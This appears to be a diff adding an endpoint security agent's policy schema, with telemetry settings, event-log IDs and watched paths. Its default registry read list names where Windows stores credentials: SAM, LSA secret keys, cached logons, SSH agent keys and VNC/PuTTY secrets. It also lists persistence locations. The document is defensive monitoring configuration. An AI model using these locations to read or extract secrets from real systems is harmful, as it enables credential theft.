+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_use_isolation:
+        title: Macos use isolation
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      network_isolation_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Network isolation exclusions
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      ransomguard_auto_blacklist:
+        title: Ransomguard auto blacklist
+        type: boolean
+      ransomguard_canaries_name:
+        minLength: 1
+        title: Ransomguard canaries name
+        type: string
+        x-nullable: true
+      ransomguard_heuristic_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Ransomguard heuristic mode
+        type: integer
+      ransomguard_mode:
+        maximum: 3
+        minimum: 0
+        title: Ransomguard mode
+        type: integer
+      remote_shell_mode:
+        enum:
+          - disabled
+          - read
+          - read_write
+          - read_write_execute
+        title: Remote shell mode
+        type: string
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      self_protection:
+        title: Self protection
+        type: boolean
+      self_protection_feature_hosts:
+        title: Self protection feature hosts
+        type: boolean
+      self_protection_feature_safe_mode:
+        title: Self protection feature safe mode
+        type: boolean
+      self_protection_firewall:
+        title: Self protection firewall
+        type: boolean
+      sidewatch_mode:
+        maximum: 3
+        minimum: 0
+        title: Sidewatch mode
+        type: integer
+      sigma_mode:
+        maximum: 3
+        minimum: 0
+        title: Sigma mode
+        type: integer
+      sigma_ruleset:
+        format: uuid
+        title: Sigma ruleset
+        type: string
+        x-nullable: true
+      sleepjitter:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleepjitter
+        type: integer
+      sleeptime:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleeptime
+        type: integer
+      telemetry_alerts_limit:
+        title: Telemetry alerts limit
+        type: boolean
+      telemetry_alerts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry alerts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_limit:
+        title: Telemetry amsi dynamic scripts limit
+        type: boolean
+      telemetry_amsi_dynamic_scripts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi dynamic scripts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi dynamic scripts state
+        type: string
+      telemetry_amsi_other_scans_limit:
+        title: Telemetry amsi other scans limit
+        type: boolean
+      telemetry_amsi_other_scans_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi other scans limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_other_scans_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi other scans state
+        type: string
+      telemetry_authentication:
+        title: Telemetry authentication
+        type: boolean
+      telemetry_authentication_limit:
+        title: Telemetry authentication limit
+        type: boolean
+      telemetry_authentication_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry authentication limit value
+        type: integer
+        x-nullable: true
+      telemetry_authentication_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry authentication state
+        type: string
+      telemetry_dns_resolution:
+        title: Telemetry dns resolution
+        type: boolean
+      telemetry_dns_resolution_limit:
+        title: Telemetry dns resolution limit
+        type: boolean
+      telemetry_dns_resolution_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry dns resolution limit value
+        type: integer
+        x-nullable: true
+      telemetry_dns_resolution_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry dns resolution state
+        type: string
+      telemetry_dotnet_library_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry dotnet library state
+        type: string
+      telemetry_driverload:
+        title: Telemetry driverload
+        type: boolean
+      telemetry_driverload_limit:
+        title: Telemetry driverload limit
+        type: boolean
+      telemetry_driverload_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry driverload limit value
+        type: integer
+        x-nullable: true
+      telemetry_driverload_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry driverload state
+        type: string
+      telemetry_file_download_limit:
+        title: Telemetry file download limit
+        type: boolean
+      telemetry_file_download_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file download limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_download_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry file download state
+        type: string
+      telemetry_file_limit:
+        title: Telemetry file limit
+        type: boolean
+      telemetry_file_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry file state
+        type: string
+      telemetry_kube_pod_event_limit:
+        title: Telemetry kube pod event limit
+        type: boolean
+      telemetry_kube_pod_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry kube pod event limit value
+        type: integer
+        x-nullable: true
+      telemetry_kube_pod_event_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry kube pod event state
+        type: string
+      telemetry_library_load_limit:
+        title: Telemetry library load limit
+        type: boolean
+      telemetry_library_load_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry library load limit value
+        type: integer
+        x-nullable: true
+      telemetry_library_load_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry library load state
+        type: string
+      telemetry_log:
+        title: Telemetry log
+        type: boolean
+      telemetry_log_limit:
+        title: Telemetry log limit
+        type: boolean
+      telemetry_log_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry log limit value
+        type: integer
+        x-nullable: true
+      telemetry_log_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry log state
+        type: string
+      telemetry_named_pipe_limit:
+        title: Telemetry named pipe limit
+        type: boolean
+      telemetry_named_pipe_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry named pipe limit value
+        type: integer
+        x-nullable: true
+      telemetry_named_pipe_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry named pipe state
+        type: string
+      telemetry_network:
+        title: Telemetry network
+        type: boolean
+      telemetry_network_limit:
+        title: Telemetry network limit
+        type: boolean
+      telemetry_network_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_limit:
+        title: Telemetry network listen limit
+        type: boolean
+      telemetry_network_listen_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network listen limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry network listen state
+        type: string
+      telemetry_network_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry network state
+        type: string
+      telemetry_on_alert_enabled:
+        title: Telemetry on alert enabled
+        type: boolean
+      telemetry_on_alert_live_overrides:
+        items:
+          enum:
+            - telemetry_file_state
+            - telemetry_named_pipe_state
+            - telemetry_network_listen_state
+            - telemetry_process_access_state
+            - telemetry_process_tamper_state
+            - telemetry_raw_device_access_state
+            - telemetry_raw_socket_creation_state
+            - telemetry_registry_state
+            - telemetry_url_request_state
+            - telemetry_wmi_event_state
+          type: string
+        type: array
+      telemetry_on_alert_post_alert_max_duration_secs:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max duration secs
+        type: integer
+      telemetry_on_alert_post_alert_max_event_count:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max event count
+        type: integer
+      telemetry_on_alert_pre_alert_event_count:
+        maximum: 2147483647
+        minimum: 1
+        title: Telemetry on alert pre alert event count
+        type: integer
+      telemetry_powershell:
+        title: Telemetry powershell
+        type: boolean
+      telemetry_powershell_limit:
+        title: Telemetry powershell limit
+        type: boolean
+      telemetry_powershell_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry powershell limit value
+        type: integer
+        x-nullable: true
+      telemetry_powershell_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry powershell state
+        type: string
+      telemetry_process:
+        title: Telemetry process
+        type: boolean
+      telemetry_process_access_limit:
+        title: Telemetry process access limit
+        type: boolean
+      telemetry_process_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process access limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process access state
+        type: string
+      telemetry_process_limit:
+        title: Telemetry process limit
+        type: boolean
+      telemetry_process_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry process state
+        type: string
+      telemetry_process_tamper_limit:
+        title: Telemetry process tamper limit
+        type: boolean
+      telemetry_process_tamper_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process tamper limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_tamper_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process tamper state
+        type: string
+      telemetry_raw_device_access_limit:
+        title: Telemetry raw device access limit
+        type: boolean
+      telemetry_raw_device_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw device access limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_device_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw device access state
+        type: string
+      telemetry_raw_socket_creation_limit:
+        title: Telemetry raw socket creation limit
+        type: boolean
+      telemetry_raw_socket_creation_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw socket creation limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_socket_creation_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw socket creation state
+        type: string
+      telemetry_registry_limit:
+        title: Telemetry registry limit
+        type: boolean
+      telemetry_registry_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry registry limit value
+        type: integer
+        x-nullable: true
+      telemetry_registry_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry registry state
+        type: string
+      telemetry_remotethread:
+        title: Telemetry remotethread
+        type: boolean
+      telemetry_remotethread_limit:
+        title: Telemetry remotethread limit
+        type: boolean
+      telemetry_remotethread_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry remotethread limit value
+        type: integer
+        x-nullable: true
+      telemetry_remotethread_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry remotethread state
+        type: string
+      telemetry_scheduled_tasks_limit:
+        title: Telemetry scheduled tasks limit
+        type: boolean
+      telemetry_scheduled_tasks_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry scheduled tasks limit value
+        type: integer
+        x-nullable: true
+      telemetry_scheduled_tasks_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry scheduled tasks state
+        type: string
+      telemetry_service_limit:
+        title: Telemetry service limit
+        type: boolean
+      telemetry_service_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry service limit value
+        type: integer
+        x-nullable: true
+      telemetry_service_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry service state
+        type: string
+      telemetry_url_request_limit:
+        title: Telemetry url request limit
+        type: boolean
+      telemetry_url_request_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry url request limit value
+        type: integer
+        x-nullable: true
+      telemetry_url_request_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry url request state
+        type: string
+      telemetry_usb_activity_limit:
+        title: Telemetry usb activity limit
+        type: boolean
+      telemetry_usb_activity_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry usb activity limit value
+        type: integer
+        x-nullable: true
+      telemetry_usb_activity_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry usb activity state
+        type: string
+      telemetry_user_group_limit:
+        title: Telemetry user group limit
+        type: boolean
+      telemetry_user_group_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry user group limit value
+        type: integer
+        x-nullable: true
+      telemetry_user_group_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry user group state
+        type: string
+      telemetry_wmi_event_limit:
+        title: Telemetry wmi event limit
+        type: boolean
+      telemetry_wmi_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry wmi event limit value
+        type: integer
+        x-nullable: true
+      telemetry_wmi_event_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry wmi event state
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      thread_download_enabled:
+        title: Thread download enabled
+        type: boolean
+      use_driver:
+        readOnly: true
+        title: Use driver
+        type: boolean
+      use_isolation:
+        title: Use isolation
+        type: boolean
+      use_process_block:
+        readOnly: true
+        title: Use process block
+        type: string
+      vulnerability_policy:
+        format: uuid
+        title: Vulnerability policy
+        type: string
+        x-nullable: true
+      windows_eventlog_config:
+        default:
+          detection_events:
+            Application|Application Error:
+              excluded: []
+              included: []
+            Application|Application Hang:
+              excluded: []
+              included: []
+            Application|MSSQLSERVER:
+              excluded: []
+              included:
+                - 15457
+            Application|Microsoft-Windows-User Profiles Service:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-WMI:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            Application|MsiInstaller:
+              excluded: []
+              included: []
+            Application|SecurityCenter:
+              excluded: []
+              included: []
+            Application|Windows Error Reporting:
+              excluded: []
+              included: []
+            Application|Wow64 Emulation Layer:
+              excluded: []
+              included: []
+            Microsoft-Windows-CodeIntegrity/Operational|Microsoft-Windows-CodeIntegrity:
+              excluded: []
+              included: []
+            Microsoft-Windows-NTLM/Operational|Microsoft-Windows-NTLM:
+              excluded: []
+              included: []
+            Microsoft-Windows-PowerShell/Operational|Microsoft-Windows-PowerShell:
+              excluded: []
+              included: []
+            Microsoft-Windows-TerminalServices-LocalSessionManager/Operational|Microsoft-Windows-TerminalServices-LocalSessionManager:
+              excluded: []
+              included: []
+            ? Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational|Microsoft-Windows-TerminalServices-RemoteConnectionManager
+            : excluded: []
+              included: []
+            Security|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            Security|Microsoft-Windows-Security-Auditing:
+              excluded: []
+              included:
+                - 4608
+                - 4609
+                - 4610
+                - 4611
+                - 4612
+                - 4614
+                - 4615
+                - 4616
+                - 4618
+                - 4621
+                - 4622
+                - 4624
+                - 4625
+                - 4634
+                - 4647
+                - 4648
+                - 4649
+                - 4697
+                - 4698
+                - 4699
+                - 4700
+                - 4701
+                - 4702
+                - 4703
+                - 4704
+                - 4705
+                - 4706
+                - 4707
+                - 4713
+                - 4716
+                - 4717
+                - 4718
+                - 4719
+                - 4720
+                - 4722
+                - 4723
+                - 4724
+                - 4725
+                - 4726
+                - 4727
+                - 4728
+                - 4729
+                - 4730
+                - 4731
+                - 4732
+                - 4733
+                - 4734
+                - 4735
+                - 4737
+                - 4738
+                - 4739
+                - 4740
+                - 4741
+                - 4742
+                - 4743
+                - 4744
+                - 4745
+                - 4746
+                - 4747
+                - 4748
+                - 4749
+                - 4750
+                - 4751
+                - 4752
+                - 4753
+                - 4754
+                - 4755
+                - 4756
+                - 4757
+                - 4758
+                - 4759
+                - 4760
+                - 4761
+                - 4762
+                - 4764
+                - 4765
+                - 4766
+                - 4767
+                - 4768
+                - 4769
+                - 4770
+                - 4771
+                - 4772
+                - 4773
+                - 4774
+                - 4776
+                - 4777
+                - 4778
+                - 4779
+                - 4781
+                - 4793
+                - 4797
+                - 4798
+                - 4799
+                - 4800
+                - 4801
+                - 4802
+                - 4803
+                - 4820
+                - 4821
+                - 4822
+                - 4823
+                - 4824
+                - 4825
+                - 4826
+                - 4865
+                - 4866
+                - 4867
+                - 4870
+                - 4886
+                - 4887
+                - 4888
+                - 4893
+                - 4898
+                - 4902
+                - 4904
+                - 4905
+                - 4907
+                - 4931
+                - 4932
+                - 4933
+                - 4946
+                - 4948
+                - 4956
+                - 4964
+                - 4985
+                - 5024
+                - 5025
+                - 5029
+                - 5030
+                - 5033
+                - 5034
+                - 5035
+                - 5037
+                - 5059
+                - 5136
+                - 5137
+                - 5138
+                - 5139
+                - 5140
+                - 5145
+                - 6144
+                - 6145
+                - 6272
+                - 6273
+                - 6278
+                - 6416
+                - 6423
+                - 6424
+            System|Microsoft Antimalware:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Bits-Client:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Directory-Services-SAM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-DistributedCOM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-GroupPolicy:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-General:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-Power:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-TaskScheduler:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WER-SystemErrorReporting:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WindowsUpdateClient:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Wininit:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            System|Service Control Manager:
+              excluded: []
+              included: []
+            System|User32:
+              excluded: []
+              included: []
+            Windows Powershell|PowerShell:
+              excluded: []
+              included: []
+          telemetry_events:
+            Application|Application Error:
+              excluded: []
+              included: []
+            Application|Application Hang:
+              excluded: []
+              included: []
+            Application|MSSQLSERVER:
+              excluded: []
+              included:
+                - 15457
+            Application|Microsoft-Windows-User Profiles Service:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-WMI:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            Application|MsiInstaller:
+              excluded: []
+              included: []
+            Application|SecurityCenter:
+              excluded: []
+              included: []
+            Application|Windows Error Reporting:
+              excluded: []
+              included: []
+            Application|Wow64 Emulation Layer:
+              excluded: []
+              included: []
+            Microsoft-Windows-CodeIntegrity/Operational|Microsoft-Windows-CodeIntegrity:
+              excluded: []
+              included: []
+            Microsoft-Windows-NTLM/Operational|Microsoft-Windows-NTLM:
+              excluded: []
+              included: []
+            Microsoft-Windows-PowerShell/Operational|Microsoft-Windows-PowerShell:
+              excluded: []
+              included: []
+            Microsoft-Windows-TerminalServices-LocalSessionManager/Operational|Microsoft-Windows-TerminalServices-LocalSessionManager:
+              excluded: []
+              included: []
+            ? Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational|Microsoft-Windows-TerminalServices-RemoteConnectionManager
+            : excluded: []
+              included: []
+            Security|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            Security|Microsoft-Windows-Security-Auditing:
+              excluded: []
+              included:
+                - 4608
+                - 4609
+                - 4610
+                - 4611
+                - 4612
+                - 4614
+                - 4615
+                - 4616
+                - 4618
+                - 4621
+                - 4622
+                - 4624
+                - 4625
+                - 4634
+                - 4647
+                - 4648
+                - 4649
+                - 4697
+                - 4698
+                - 4699
+                - 4700
+                - 4701
+                - 4702
+                - 4703
+                - 4704
+                - 4705
+                - 4706
+                - 4707
+                - 4713
+                - 4716
+                - 4717
+                - 4718
+                - 4719
+                - 4720
+                - 4722
+                - 4723
+                - 4724
+                - 4725
+                - 4726
+                - 4727
+                - 4728
+                - 4729
+                - 4730
+                - 4731
+                - 4732
+                - 4733
+                - 4734
+                - 4735
+                - 4737
+                - 4738
+                - 4739
+                - 4740
+                - 4741
+                - 4742
+                - 4743
+                - 4744
+                - 4745
+                - 4746
+                - 4747
+                - 4748
+                - 4749
+                - 4750
+                - 4751
+                - 4752
+                - 4753
+                - 4754
+                - 4755
+                - 4756
+                - 4757
+                - 4758
+                - 4759
+                - 4760
+                - 4761
+                - 4762
+                - 4764
+                - 4765
+                - 4766
+                - 4767
+                - 4768
+                - 4769
+                - 4770
+                - 4771
+                - 4772
+                - 4773
+                - 4774
+                - 4776
+                - 4777
+                - 4778
+                - 4779
+                - 4781
+                - 4793
+                - 4797
+                - 4798
+                - 4799
+                - 4800
+                - 4801
+                - 4802
+                - 4803
+                - 4820
+                - 4821
+                - 4822
+                - 4823
+                - 4824
+                - 4825
+                - 4826
+                - 4865
+                - 4866
+                - 4867
+                - 4870
+                - 4886
+                - 4887
+                - 4888
+                - 4893
+                - 4898
+                - 4902
+                - 4904
+                - 4905
+                - 4907
+                - 4931
+                - 4932
+                - 4933
+                - 4946
+                - 4948
+                - 4956
+                - 4964
+                - 4985
+                - 5024
+                - 5025
+                - 5029
+                - 5030
+                - 5033
+                - 5034
+                - 5035
+                - 5037
+                - 5059
+                - 5136
+                - 5137
+                - 5138
+                - 5139
+                - 5140
+                - 5145
+                - 6144
+                - 6145
+                - 6272
+                - 6273
+                - 6278
+                - 6416
+                - 6423
+                - 6424
+            System|Microsoft Antimalware:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Bits-Client:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Directory-Services-SAM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-DistributedCOM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-GroupPolicy:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-General:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-Power:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-TaskScheduler:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WER-SystemErrorReporting:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WindowsUpdateClient:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Wininit:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            System|Service Control Manager:
+              excluded: []
+              included: []
+            System|User32:
+              excluded: []
+              included: []
+            Windows Powershell|PowerShell:
+              excluded: []
+              included: []
+        description: |-
+          Holds the dynamic subscription configuration for eventlogs.
+          Stores which event ids to subscribe, for each event log channel.
+        properties:
+          detection_events:
+            additionalProperties:
+              items:
+                description: Lists of event ids to include and exclude for a given channel.
+                properties:
+                  excluded:
+                    description: A list of event ids to exclude.
+                    items:
+                      type: integer
+                    type: array
+                  included:
+                    description: |-
+                      A list of event ids to include.
+                      An empty list should be considered a None, which will automatically subscribe to all events ids of the associated channel.
+                    items:
+                      type: integer
+                    type: array
+                type: object
+              type: array
+            description: |-
+              Event log channels and ids to subscribe for detection only.
+              Events generated that match this configuration, will be sent to the detection engines.
+            type: object
+          telemetry_events:
+            additionalProperties:
+              items:
+                description: Lists of event ids to include and exclude for a given channel.
+                properties:
+                  excluded:
+                    description: A list of event ids to exclude.
+                    items:
+                      type: integer
+                    type: array
+                  included:
+                    description: |-
+                      A list of event ids to include.
+                      An empty list should be considered a None, which will automatically subscribe to all events ids of the associated channel.
+                    items:
+                      type: integer
+                    type: array
+                type: object
+              type: array
+            description: |-
+              Event log channels and ids to subscribe for.
+              Events generated that match this configuration will be sent to the backend if the event log telemetry is enabled.
+            type: object
+        required:
+          - detection_events
+          - telemetry_events
+        title: Windows Eventlog Config
+        type: object
+      windows_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Windows exclusions
+        type: integer
+      windows_read_watched_paths:
+        default:
+          - '*\PROGRAM FILES*'
+          - '*\PROGRAMDATA\*'
+          - '*\USERS\*'
+          - '*\WINDOWS\SYSTEM32\DRIVERS\ETC\*'
+          - '*\WINDOWS\SYSTEM32\TASKS\*'
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_registry_read_blacklist:
+        default: []
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_registry_read_whitelist:
+        default:
+          - HKLM\SAM\SAM\DOMAINS\ACCOUNT\USERS\*\*
+          - HKLM\SECURITY\CACHE\*
+          - HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\*
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\DATA
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\GBG
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\JD
+          - HKLM\SYSTEM\CONTROLSET???\CONTROL\LSA\SKEW1
+          - HKLM\SYSTEM\CONTROLSET???\SERVICES\SYSMONDRV\PARAMETERS\*
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\DATA
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\GBG
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\JD
+          - HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA\SKEW1
+          - HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\CERTSVC\CONFIGURATION\*\POLICYMODULES\CERTIFICATEAUTHORITY_MICROSOFTDEFAULT.POLICY\EDITFLAGS
+          - HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\SYSMONDRV\PARAMETERS\*
+          - HKU\*\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\AAD\STORAGE\*
+          - HKU\*\SOFTWARE\OPENSSH\AGENT\KEYS\*
+          - HKU\*\SOFTWARE\ORL\WINVNC3\PASSWORD\*
+          - HKU\*\SOFTWARE\SIMONTATHAM\*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      windows_self_protection:
+        title: Windows self protection
+        type: boolean
+      windows_self_protection_feature_firewall:
+        title: Windows self protection feature firewall
+        type: boolean
+      windows_self_protection_feature_hosts:
+        title: Windows self protection feature hosts
+        type: boolean
+      windows_self_protection_feature_safe_mode:
+        title: Windows self protection feature safe mode
+        type: boolean
+      windows_write_watched_paths:
+        default:
+          - '*\PROGRAM FILES*'
+          - '*\PROGRAMDATA\*'
+          - '*\USERS\*'
+          - '*\WINDOWS\SYSTEM32\DRIVERS\ETC\*'
+          - '*\WINDOWS\SYSTEM32\TASKS\*'
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      yara_mode:
+        maximum: 3
+        minimum: 0
+        title: Yara mode
+        type: integer
+      yara_ruleset:
+        format: uuid
+        title: Yara ruleset
+        type: string
+        x-nullable: true
+      yara_scan_libraries_load:
+        title: Yara scan libraries load
+        type: boolean
+      yara_scan_written_executable:
+        title: Yara scan written executable
+        type: boolean
+      yara_scan_written_files:
+        title: Yara scan written files
+        type: boolean
+      yara_skip_signed_ms:
+        title: Yara skip signed ms
+        type: boolean
+      yara_skip_signed_others:
+        title: Yara skip signed others
+        type: boolean
+    required:
+      - name
+    type: object
+  PolicyAgentDetails:
+    properties:
+      agent_auto_forget:
+        default: false
+        title: Agent auto forget
+        type: boolean
+      agent_auto_forget_max_days:
+        default: 1
+        minimum: 1
+        title: Agent auto forget max days
+        type: integer
+      agent_auto_update:
+        title: Agent auto update
+        type: boolean
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_ui_admin_message:
+        title: Agent ui admin message
+        type: string
+        x-nullable: true
+      agent_ui_enabled:
+        title: Agent ui enabled
+        type: boolean
+      agent_ui_notification_level:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification level
+        type: integer
+      agent_ui_notification_scope:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification scope
+        type: integer
+      agent_upgrade_strategy:
+        enum:
+          - latest
+          - manual
+          - stable
+        title: Agent upgrade strategy
+        type: string
+      always_go_through_proxy:
+        title: Always go through proxy
+        type: boolean
+      antivirus_policy:
+        format: uuid
+        readOnly: true
+        title: Antivirus policy
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+      antivirus_profile:
+        readOnly: true
+        title: Antivirus profile
+        type: string
+      antivirus_profile_name:
+        readOnly: true
+        title: Antivirus profile name
+        type: string
+      audit_killswitch:
+        title: Audit killswitch
+        type: boolean
+      binary_download_enabled:
+        title: Binary download enabled
+        type: boolean
+      correlation_mode:
+        maximum: 3
+        minimum: 0
+        title: Correlation mode
+        type: integer
+      correlation_ruleset:
+        format: uuid
+        title: Correlation ruleset
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        format: uuid
+        readOnly: true
+        title: Device control policy
+        type: string
+        x-nullable: true
+      disabled_telemetry_count:
+        readOnly: true
+        title: Disabled telemetry count
+        type: integer
+      driverblock_mode:
+        maximum: 3
+        minimum: 0
+        title: Driverblock mode
+        type: integer
+      driverblock_strategy:
+        enum:
+          - blocklist
+          - heuristic
+        title: Driverblock strategy
+        type: string
+      feature_callback_tampering:
+        title: Feature callback tampering
+        type: boolean
+      feature_dse_tampering_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Feature dse tampering mode
+        type: integer
